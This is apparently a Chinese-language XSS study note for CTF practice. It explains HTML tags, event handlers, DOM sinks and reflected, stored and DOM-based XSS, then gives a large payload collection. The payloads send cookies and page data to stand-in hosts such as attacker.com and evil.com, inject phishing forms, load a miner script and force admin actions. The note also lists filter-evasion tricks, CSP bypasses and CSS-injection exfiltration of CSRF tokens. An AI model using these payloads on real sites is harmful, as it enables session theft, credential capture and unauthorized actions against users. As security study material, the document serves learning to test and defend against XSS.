xss
https://ctf.aabyss.cn/xss-labs/index.php
https://xz.aliyun.com/news/17955
https://blog.csdn.net/m0_73610345/article/details/155503350)
https://marblue.pink/2025/05/31/Web%E5%9F%BA%E7%A1%80-1
https://wilesangh.github.io/ctf-web/xss_guide/#22
https://aszx87410.github.io/beyond-xss/ch3/css-injection/
https://aszx87410.github.io/beyond-xss/ch3/css-injection-2/
原理:
当应用程序将攻击者提交的数据发送到受害者浏览器的页面中,但未经过适当的验证或转义时,若攻击者提交的数据中包含恶意脚本,那么它便会在受害者浏览器上自动执行
基本知识:一些语法:
javascript:
new Image():创建HTMLImageElement对象的简写方式,等价于:document.createElement('img');
Image:浏览器全局对象,调用new Image()会创建一个未插入DOM的图片元素。
.src = "URL":设置图像的src属性,即要加载的图片地址。一旦设置 src,浏览器会立即向该 URL 发起 HTTP GET 请求,就像页面中有一个 <img
src="..."> 标签一样。
fetch():用于发起 HTTP/HTTPS 网络请求 的标准 API,格式:fetch(url, [options])
<script>标签:
渲染html时,若遇到该标签,浏览器会自动停止渲染并执行标签内的javascript
例:<script></script>
可执行HTML标签:
<img>:HTML中的图像嵌入标签,用于在网页中显示图片。它是一个自闭合标签(没有结束标签),必须通过 src 属性指定图片的 URL。
例:<img src="image.jpg" alt="描述文字">
<svg>:HTML5中用于定义可缩放矢量图形(Scalable Vector Graphics) 的容器标签。它允许在网页中嵌入矢量图形,支持形状、路径、文本、动画等。
例:<svg width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
<body>:HTML文档的主体部分标签,包含网页中所有可见内容,如文本、图像、链接、表格等。每个HTML页面只能有一个 <body> 标签。
例:<body>
<h1>网页标题</h1>
<p>段落内容</p>
</body>
<iframe>:内联框架标签,用于在当前网页中嵌入另一个网页或文档。它创建一个独立的浏览上下文。
例:<iframe src="https://example.com" width="600" height="400"></iframe>
<a>:超链接标签(anchor),用于创建可点击的链接,跳转到其他网页、页面锚点或执行特定协议(如 mailto:)。
例:<a href="https://example.com">访问示例网站</a>
<video>:HTML5 中用于嵌入视频内容的标签,支持播放、暂停、音量控制等。
例:<video src="movie.mp4" controls width="640" height="360"></video>
<audio>:HTML5 中用于嵌入音频内容的标签,用于播放声音文件。
例:<audio src="sound.mp3" controls></audio>
<input>:表单输入控件标签,用于创建文本框、按钮、复选框等多种用户输入组件。其行为由 type 属性决定。
例:<input type="text" name="username" placeholder="请输入用户名">
<textarea>:多行文本输入框标签,用于让用户输入较长的文本内容。
例:<textarea name="comment" rows="4" cols="50">默认内容</textarea>
<details>:HTML5 中用于创建可折叠/展开的内容区块的标签,通常与 <summary> 配合使用。
例:<details>
<summary>点击展开</summary>
<p>这里是隐藏的内容。</p>
</details>
<embed>:用于嵌入外部内容(如插件内容、PDF、Flash 等)的标签,是一个通用嵌入容器。
例:<embed src="document.pdf" type="application/pdf" width="600" height="500">
<object>:用于嵌入外部资源(如图像、PDF、Java applet、Flash 等)的标签,比 <embed> 更标准化,可提供备用内容。
例:<object data="animation.swf" type="application/x-shockwave-flash">
<p>您的浏览器不支持 Flash。</p>
</object>
<form>:表单容器标签,用于将用户输入的数据提交到服务器。它包含各种输入控件(如 <input>, <textarea>)。
例:<form action="/submit" method="post">
<input type="text" name="name">
<button type="submit">提交</button>
</form>
<math>:MathML(数学标记语言) 的根标签,用于在网页中精确显示数学公式。它是 XML 的一种应用。
例:<math>
<mi>x</mi>
<mo>=</mo>
<mfrac>
<mrow><mo>-</mo><mi>b</mi></mrow>
<mrow><mn>2</mn><mi>a</mi></mrow>
</mfrac>
</math>
<select>:HTML中用于创建下拉选择菜单(下拉列表)的表单控件标签。它允许用户从一组预定义的选项中选择一个或多个值,必须与 <option> 标签配合使用
(<option> 定义每个可选项)
例:<select name="字段名">
<option value="值1">显示文本1</option>
<option value="值2">显示文本2</option>
<option value="值3" selected>显示文本3(默认选中)</option>
</select>
<base>:HTML 中用于为页面中所有相对 URL 指定基准 URL 的元信息标签。它必须放在 <head> 区域中,且整个页面只能有一个 <base> 标签。
例:<head>
<base href="https://example.com/static/">
</head>
事件处理器:是 HTML 元素中用于响应用户操作或浏览器行为的属性。当特定事件(如点击、加载、键盘输入等)发生时,浏览器会自动执行该属性中指定的 JavaScript 代码。
onload
触发时机:元素(如图片、脚本、窗口)加载完成时
适用元素:<body>, <img>, <script>, <iframe>, <link>, <svg> 等
onerror
触发时机:元素加载失败时(如图片 URL 无效)
适用元素:<img>, <video>, <audio>, <object>, <script>, <link> 等
onclick
触发时机:用户用鼠标点击该元素时
适用元素:几乎所有可交互元素(<div>, <button>, <a>, <input> 等)
onmouseover
触发时机:用户将鼠标指针移动到元素上时
适用元素:所有可见元素
onmouseout
触发时机:用户将鼠标指针移出元素时
适用元素:所有可见元素
onfocus
触发时机:元素获得焦点时(如用户点击输入框或按 Tab 键进入)
适用元素:<input>, <textarea>, <select>, <button> 等可聚焦元素
onblur
触发时机:元素失去焦点时(如用户点击页面其他位置)
适用元素:可聚焦元素
onkeydown
触发时机:用户按下键盘上的某个键时
适用元素:<body> 或任何可获得焦点的元素
onkeyup
触发时机:用户释放键盘上的某个键时
适用元素:同上
onchange
触发时机:元素的值发生改变并失去焦点时(如选择下拉选项后)
适用元素:<input>, <select>, <textarea>
onsubmit
触发时机:表单被提交时
适用元素:<form>
onreset
触发时机:表单重置按钮被点击时
适用元素:<form>
onscroll
触发时机:元素或窗口发生滚动时
适用元素:<body>, 任何可滚动容器
onresize
触发时机:窗口或框架被调整大小时
适用元素:<body>, <frameset>
ontoggle
触发时机:<details> 元素的展开或折叠状态发生变化时
适用元素:<details>
oncontextmenu
触发时机:用户右键点击元素以打开上下文菜单时
适用元素:所有元素
ondrag / ondrop 系列
触发时机:用户进行拖放操作时
适用元素:任何可拖动或可放置的元素
JavaScript伪协议(javascript: URI scheme):一种特殊的 URL 协议,用于在支持的上下文中直接执行 JavaScript 代码。
当浏览器遇到一个 javascript: URI 时:
1:解析 URI,提取 : 后的 JavaScript 代码字符串
2:在当前页面的上下文(origin)中,将该字符串作为 JavaScript 代码执行
3:返回代码的执行结果:
4:如果返回值是 字符串,浏览器会用该字符串替换当前页面的全部内容
如果返回值是 undefined、null、void(0) 或无返回值,页面保持不变
例:<a href="javascript:alert('Hello')">点击</a>
支持 javascript:的html属性:<a href>,<iframe src>,window.location,window.open()
//location.href = 'javascript:...' 有效
//window.open('javascript:...') 有效
DOM:HTML/XML 文档的编程接口(API)。它将整个网页表示为一个由节点(Node)组成的树形结构,JavaScript 可以通过 DOM API 动态访问和操作这些节
点。
document.cookie:窃取 Cookie
localStorage:窃取 Token
location.href:获取当前 URL
location.hash:获取 # 后内容(包括#)
location.search:返回URL中?之后的部分(包括?)
document.referrer:获取来源页
window.name:跨页面传递数据
document.forms:获取所有表单
document.scripts:获取所有脚本
document.write():用于将字符串写入到当前 HTML 文档流中。
document.location:获取或设置当前页面的 URL。它实际上是 window.location 的一个别名,因此在功能上与 window.location 完全相同。
document.URL:用于获取当前页面的完整 URL 字符串。
document.URLUnencoded:用于返回未经过 URL 编码的文档地址。(十分老旧,且不是很规范,不一定存在)
document.writeln():用于向 HTML 文档输出内容的方法,它会在输出的末尾自动添加一个换行符(n)。
document.body.innerHTML:用于获取或设置 HTML 文档 <body> 元素内的所有 HTML 内容(不包括 <body> 标签本身)。
//通过 innerHTML 插入的 <script> 标签默认不会执行, 但iframe 的 srcdoc 屬性可以放入完整的 HTML,可以想成是建立一個全新的網頁,因此原本沒
//用的 <script> 標籤放在這邊就有用了,而且因為是屬性,所以內容可以先做編碼
//document.body.innerHTML = '<iframe srcdoc="<script>alert(1)</script>"></iframe>'
eval():用于将传入的字符串当作 JavaScript 代码进行解析和执行。
window.execScript():用于执行指定的脚本代码。 // window.execScript("alert('Hello from IE!');", "JavaScript");
window.setInterval():用于重复执行某个函数或代码片段的定时器方法,每隔指定的毫秒数执行一次,直到被手动清除或页面关闭。
//let intervalID = setInterval(function[, delay, arg1, arg2, ...]);
//let intervalID = setInterval(codeString, delay);
window.setTimeout():会在指定的毫秒数后执行一次该代码,然后自动结束。可跟上面的配套食用,停止计时器
//let timeoutID = setTimeout(function[, delay, arg1, arg2, ...]);
//let timeoutID = setTimeout(codeString, delay);
xss的类型:
反射型 XSS(Reflected XSS):
原理: 反射型 XSS 多出现在搜索框、登录页面等用户输入内容会被立即回显的位置。攻击者将恶意脚本注入到 URL 中,诱导用户点击特定链接,从而触
发脚本执行。
条件:
1:用户点击了攻击者精心构造的 URL;
2:目标网站存在反射型 XSS 漏洞,并在页面中回显了未转义的用户输入。
特点:
1:脚本不会被存储在服务器上,仅在一次请求-响应周期中生效;
2:需要用户主动点击攻击者构造的恶意链接;
3:常用于窃取 Cookie 或进行钓鱼欺骗。
例:
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是:<%= getParameter("keyword") %>
</div>
在该示例中,用户提交的 keyword 参数被直接嵌入到 HTML 页面中,既未经过任何过滤,也未进行 HTML 实体转义。若攻击者在搜索框中输入以下内容:
"><script>alert('XSS')</script>
页面最终渲染出来的 HTML 将变成如下所示:
<input type="text" value=""><script>alert('XSS')</script>">
此时脚本将被立即执行,弹出一个提示框。这个 payload 仅用于演示 XSS 漏洞的可执行性。实际上,攻击者可以利用这一漏洞执行任意 JavaScript 代码,例如窃取用户的 Cookie 信息:
<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>
当用户访问被注入恶意脚本的页面时,浏览器会自动请求攻击者搭建的服务器,并在 URL 中附带当前用户的 Cookie。
常见注入点:
URL参数注入:
<p>搜索结果:<%= request.getParameter("query") %></p>
payload:https://example.com/search?query=<script>alert('XSS')</script>
错误信息中回显用户输入:
<p>出错啦,您输入的用户名是:<%= request.getParameter("username") %></p>
payload:用户名输入:<script>alert('XSS')</script>
表单输入字段:
<input type="text" value="<%= request.getParameter("keyword") %>">
paylaod:"><script>alert('XSS')</script>(">提前闭合)
存储型 XSS(Stored XSS):
原理:攻击者将恶意脚本提交到服务器端,脚本会被存储在数据库、日志或其他持久化介质中,并在其他用户访问相关内容时被加载和执行。
常见触发场景:
1:留言板、评论系统、论坛帖子、用户签名等交互区域;
2:管理员后台浏览用户内容时自动触发。
特点:
1:可批量影响所有访问该页面的用户;
2:可造成蠕虫式传播、管理员权限劫持等严重后果;
3:攻击持续时间长,难以察觉。
常见注入点:
HTTP 请求头注入:
payload:User-Agent: <script>alert('XSS')</script>
后台记录日志的代码:<p>访问者信息:<%= request.getHeader("User-Agent") %></p>
若管理后台页面展示日志时未转义,管理员浏览时将触发 XSS。
留言功能注入:
攻击者提交评论内容:<script>fetch('http://evil.com/steal?c='+document.cookie)</script>
后台将评论存入数据库:INSERT INTO comments (content) VALUES ('<script>...</script>');
前台渲染:<div><%= comment.content %></div>
所有访问该评论的用户都将被攻击。
DOM 型 XSS(DOM-based XSS):
原理:利用客户端浏览器对DOM(文档对象模型)的操作进行攻击。
特点:
1:攻击入口仍通过 URL 参数传递;
2:恶意代码不出现在 HTML 源码中,而是在浏览器解析 DOM 时动态执行;
3:主要依赖客户端 JavaScript 中的不安全操作(如 document.write()、innerHTML、eval() 等);
常见注入点:
document.location
document.URL
document.URLUnencoded
document.referrer
window.location
document.write()
document.writeln()
document.body.innerHTML
eval()
window.execScript()
window.setInterval()
window.setTimeout()
例:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf('message=') + 8, url.length);
document.write(message);
</script>
如果攻击者访问页面时将 URL 设置为:
http://example.com/page.html?message=<script>alert(1)</script>
脚本中的 document.write() 会将 <script>alert(1)</script> 动态写入页面,从而被执行。
payload集合:
基本弹窗(用于测试):
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<script>alert(/hello/)</script>
<script>alert(1)</script> //(对于数字可以不用引号)
闭合标签:
'><script>alert('XSS')</script>
"><script>alert('XSS')</script>
引用外部的xss:
<script src=http://xxx.com/xss.js></script>
窃取用户 Cookie:
<script>alert(document.cookie)</script>
<script>
new Image().src = "http://attacker.com/log?c=" + document.cookie;
</script>
钓鱼欺骗:
<script>
document.body.innerHTML = '<form action="http://attacker.com/phish"><input name="pwd"></form>';
</script>
后台攻击:
<script>
fetch('/admin/deleteAll', { method: 'POST' });
</script>
页面劫持:
http://example.com/page?msg=<script src="http://attacker.com/miner.js"></script>
无需用户交互的事件属性:
<style onreadystatechange=alert(1)></style>
<iframe onreadystatechange=alert(1)></iframe>
<object onerror=alert(1)></object>
<img src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<body onbeforeactivate=alert(1)></body>
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)>
脚本伪协议注入:
<object data="javascript:alert(1)"></object>
<iframe src="javascript:alert(1)"></iframe>
<event-source src="javascript:alert(1)"></event-source>
窃取数据脚本:
<script>window.location.href="http://attacker.com/collect?cookie="+document.cookie</script>
<script>document.location.href="http://attacker.com/collect?cookie="+document.cookie</script>
<script>window.open="http://attacker.com/collect?cookie="+document.cookie</script>
<script>window.location.href="http://attacker.com/collect?data="+document.getElementsByClassName('target-class')[0].innerHTML</script>
(使用 jQuery 选择器)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com/'+value.innerHTML;
}
});</script>
(使用 jQuery 选择器(带过滤))
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com/' +value.innerHTML;
}
});</script>
(使用 querySelector)
<script>var img = new Image();
img.src = "http://attacker.com/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);</script>
特殊标签利用:
(SVG标签)
<svg onload="alert(1)">
<svg onload="alert(1)"//
<svg onload="location.href='http://attacker.com/collect?c='+document.cookie"/>
(Body标签)
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/**/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
(Video标签)
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
(Style标签)
<style onload=alert(1)></style>
(Iframe标签)
<iframe onload=document.location='http://attacker.com/collect?cookie='+document.cookie>
使用 Image 对象:
<script>var img = new Image();img.src = "http://attacker.com/"+document.cookie;</script>
使用 XMLHttpRequest:
<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://attacker.com/api/change.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('p=1234567');
</script>
使用 jQuery AJAX:
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>
使用 jQuery AJAX 修改密码:
<script>$.ajax({
url:"api/change.php",
method:"POST",
data:{'p':'1717'}
})</script>
使用 jQuery AJAX 修改金额:
<script>$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})</script>
监控脚本:
(使用 nc 监控)
<script>window.open('http://attacker.com:9033/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
(使用 jQuery 监控)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.location.href='http://attacker.com:9033/'+value.innerHTML;
}
});</script>
(使用 jQuery 监控(带过滤))
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com:9033/' +value.innerHTML;
}
});</script>
留言板后台信息发布:
绕过:
利用大小写混淆绕过过滤(部分过滤器只匹配小写关键词):
"><ScRiPt>alert(document.cookie)</ScRiPt>
完整使用 URL 编码(%3e = '>',%3c = '<'),绕过对特殊字符的拦截:
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
利用标签嵌套的方式绕过过滤器,例如将 <script> 拆分成多段:
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
在前面插入空字节(%00),绕过部分语言或框架在处理字符串时的截断问题:
%00"><script>alert(document.cookie)</script>
空格替代字符:
<img%09onerror=alert(1) src=a> <!-- Tab -->
<img%0aonerror=alert(1) src=a> <!-- 换行 -->
<img/"onerror=alert(1) src=a> <!-- 异常语法 -->
属性名绕过:
<img o%00nerror=alert(1) src=a>
属性分隔绕过:
<img onerror='alert(1)'src=a>
属性值编码绕过:
<img onerror=a%00lert(1) src=a>
<img onerror=alert(1) src=a>
可编码属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data=(仅支持 base64)
绕过字符集与长度限制:
使用非标准编码:UTF-7,US-ASCII,UTF-16
拆分脚本:
<script>
z = '<script src=';
z += 'test.c';
z += 'n/1.js></script>';
document.write(z);
</script>
//<script src=test.cn/1.js></script>
Unicode 编码关键字:
<script>au006cert(1)</script>
结合 eval():
<script>eval('au006cert(1)')</script>
替代点操作符 .:
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
回车拆分:
<a href="j
a
v
a
s
c
r
i
p
t:alert(1)">点击</a>
括号绕过:
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
代替http:// :
用//代替http://
利用Function:
JS有一个特性是 Function()()(注意这一定是要大写)。对于Function()来说,写在其第一个括号内的JS语句会被直接执行
例:Function(alert(1))();
还可以利用atob(),它的作用是把后面的base64编码还原
Function(atob`YWxlcnQoZG9jdW1lbnQuY29va2llKQ`)(); //反引号代替括号使用,括号也是可以的
绕过 CSP
一般长这样:

CSP通过这样的指令限制只能加载与页面本身相同来源的资源:script-src 'self'
通过指令限制只能从指定域中加载资源:script-src <https://scripts.normal-website.com>
CSP 还通过随机数和哈希值来指定可信资源:
1:CSP 的指令指定一个随机数,加载脚本的标签也必须有相同的随机数。否则就不执行该脚本。并秉持一次性的原则,避免被猜解。
2:CSP 指令可以指定脚本内容的哈希值。不匹配也是不会执行的。
绕过方式一:悬空标记攻击
假设应用程序没有过滤或转义>或“字符,但由于csp等原因常规XSS攻击是不可能,那么可以这么打:
"><img src='//attacker-website.com?
当载荷不会关闭src属性,该属性保留为悬空。当浏览器解析响应时,它将向前看,直到遇到一个单引号来终止属性。直到该字符之前的所有内容都将被视为URL的一部分,并将在URL查询字符串内发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行URL编码。
CSRF令牌作为隐藏字段嵌入:
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
那么令牌就有可能被我们窃取,再然后用 CSRF 盗用 token,我们就可以用它代表用户执行未经授权操作
绕过方式二:经由base的绕过
如果csp没有设定base-uri指示,那么就可以使用base标签,这个标签的作用是改变所有相对路径的参考位置
注入:
<base href="https://attacker.com/">
<script src="malicious.js"></script>
那么malicious.js就会被解析为:https://attacker.com/malicious.js
绕过方式三:经由jsonp:
JSONP 是一种能够跨来源取得资料的方式,就是说允许一些跟非同源的网页的互动
因此,就出現了這樣一種交換資料的方式,假設現在有個 API 可以拿使用者的資料,他們會提供這樣一個路徑:https://example.com/api/users,回傳的內容並不是 JSON,而是一段 JavaScript 程式碼:
setUsers([
{id: 1, name: 'user01'},
{id: 2, name: 'user02'}
])
其中setUsers是一个前端javascrip生成的函数的函数名,在向后端api发起请求时传递过去让后端用这个函数名包裹返回的数据形成一个javascript程式码,这样前端就知道应该把返回的数据传递给哪个函数了(这里就是setUsers)
如果函数名时动态生成由url传递给后端,如:
https://example.com/api/users?callback=anyFunctionName
那么返回的数据经包裹后就是:
anyFunctionName([
{id: 1, name: 'user01'},
{id: 2, name: 'user02'}
])
这个时候如果我们对传过去的函数名进行篡改:
https://example.com/api/users?callback=alert(1);console.log
返回的数据:
alert(1);console.log([
{id: 1, name: 'user01'},
{id: 2, name: 'user02'}
])
这个时候攻击就产生了,浏览器会执行alert(1)
绕过方式四:重定向
如果被信任的服务器启动重定向,那么就可以绕过限制
例:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://www.google.com/test"></script>
<script src="https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
如果http://localhost:5555/301重定向到https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1),因为是重定向,那么就不会看path,导致对path的绕过
绕过方式五:经由rpo
例如說 CSP 允許的路徑是 https://example.com/scripts/react/,可以這樣繞過:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
那么最后浏览器载入的就是:
https://example.com/scripts/angular/angular.js
CSS injection:
css:是一种用于描述 HTML 或 XML(包括如 SVG、XHTML 等 XML 子集)文档外观和格式的样式表语言。它的主要作用是控制网页的呈现样式
比如:
<style>
h1 {
color: blue;
font-family: Arial;
}
p {
font-size: 16px;
background-color: #f0f0f0;
}
</style>
选择器:用来指定 HTML 元素(或一组元素)的规则,从而将样式应用到这些元素上,这里重点看看属性选择器:
a[href] { color: green; }:匹配有 href 属性的 <a>
input[type="submit"] { ... }:匹配 type="submit" 的 <input>
a[href^="https"] { ... }:href 以 "https" 开头
img[src$=".png"] { ... }:src 以 ".png" 结尾
div[class*="box"] { ... }:class 包含 "box"
那么我们就可以通过它来选择一些包含敏感数据的元素,同时,css由于需要外部加载一些背景图片之类的资源,所以也可以向外部发送request
input[name="secret"][value^="a"] {
background: url(https://myserver.com?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://myserver.com?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://myserver.com?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://myserver.com?q=z)
}
这样就可以逐个爆破出所有字符
但是选择器只会在能渲染的元素那里加载资源(无法渲染自然没必要加载),因此选择到 type 是 hidden的元素无法发送request,这时就可以使用相邻兄弟选择器,实例如下:
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
其中+ input的作用是选到这个元素的下一个同类元素,这里就是选择下一个input元素然后加载资源,发出request
或者后面没有同类元素可以用has,实例如下:
html:
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>
paylaod:
form:has(input[name="csrf-token"][value^="a"]){
background: url(https://example.com?q=a)
}
这样就会选择含有符合条件的input的form
将不可渲染元素改为可渲染其实也可以,以不可见元素meta为例:
假设有:
<meta name="csrf-token" content="abc123">
head, meta {
display: block;
}
meta[name="csrf-token"][content^="a"] {
background: url(https://example.com?q=a);
}
meta:before {
content: attr(content);
}
由于meta所属的head也有display:none,所以也要更改,而伪元素搭配attr的作用则是让属性也能够显示在页面上
可是有时刷新页面时如CSRF token这样的敏感信息可能改变,为此可以用@import
@import:用于从一个 CSS 文件中导入另一个外部样式表
先打:
@import url(https://myserver.com/start?len=8)
然后攻击者服务器再返回:
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
//<style>标签可以解决部分浏览器返回一个response后不立刻更新style的问题
但这时几个请求攻击服务器要依次返回,第一次返回:
input[name="secret"][value^="a"] {
background: url(https://b.myserver.com/leak?q=a)
}
input[name="secret"][value^="b"] {
background: url(https://b.myserver.com/leak?q=b)
}
input[name="secret"][value^="c"] {
background: url(https://b.myserver.com/leak?q=c)
}
//....
input[name="secret"][value^="z"] {
background: url(https://b.myserver.com/leak?q=z)
}
这样爆破出第一个字符后再返回第二个请求,这里假设第一个字符是d:
input[name="secret"][value^="da"] {
background: url(https://b.myserver.com/leak?q=da)
}
input[name="secret"][value^="db"] {
background: url(https://b.myserver.com/leak?q=db)
}
input[name="secret"][value^="dc"] {
background: url(https://b.myserver.com/leak?q=dc)
}
//....
input[name="secret"][value^="dz"] {
background: url(https://b.myserver.com/leak?q=dz)
}
不过要注意,由于浏览器从同一个来源单次的请求数有上限,所以使用了两个源